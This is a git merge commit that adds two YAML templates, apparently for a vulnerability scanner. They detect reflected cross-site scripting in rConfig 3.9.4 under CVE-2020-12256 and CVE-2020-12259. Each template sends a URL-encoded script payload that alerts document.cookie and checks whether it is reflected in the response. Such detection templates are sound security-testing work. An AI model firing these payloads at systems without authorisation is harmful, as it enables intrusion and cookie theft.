Merge pull request #1042 from pikpikcu/patch-115

Add poc CVE rConfig
2021-03-09 14:16:27 +05:30 · 2021-03-09 14:16:27 +05:30 · 8ba62ba582
parent 8fcaf1d6c0 f8720698b6
commit 8ba62ba582
2 changed files with 60 additions and 0 deletions
--- a/cves/2020/CVE-2020-12256.yaml
+++ b/cves/2020/CVE-2020-12256.yaml
@ -0,0 +1,30 @@
+id: CVE-2020-12256
+
+info:
+  name: rConfig 3.9.4 XSS
+  author: pikpikcu
+  severity: medium
+  reference: https://nvd.nist.gov/vuln/detail/CVE-2020-12256
+  tags: cve,cve2020,rconfig,xss
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/devicemgmt.php?deviceId=%22%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E'
+
+    matchers-condition: and
+    matchers:
+
+      - type: word
+        words:
+          - "<script>alert(document.cookie)</script>"
+        part: body
+
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        part: header
+        words:
+          - "text/html"
--- a/cves/2020/CVE-2020-12259.yaml
+++ b/cves/2020/CVE-2020-12259.yaml
@ -0,0 +1,30 @@
+id: CVE-2020-12259
+
+info:
+  name: rConfig 3.9.4 XSS
+  author: pikpikcu
+  severity: medium
+  reference: https://nvd.nist.gov/vuln/detail/CVE-2020-12259
+  tags: cve,cve2020,rconfig,xss
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/configDevice.php?rid=%22%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E'
+
+    matchers-condition: and
+    matchers:
+
+      - type: word
+        words:
+          - "<script>alert(document.cookie)</script>"
+        part: body
+
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        part: header
+        words:
+          - "text/html"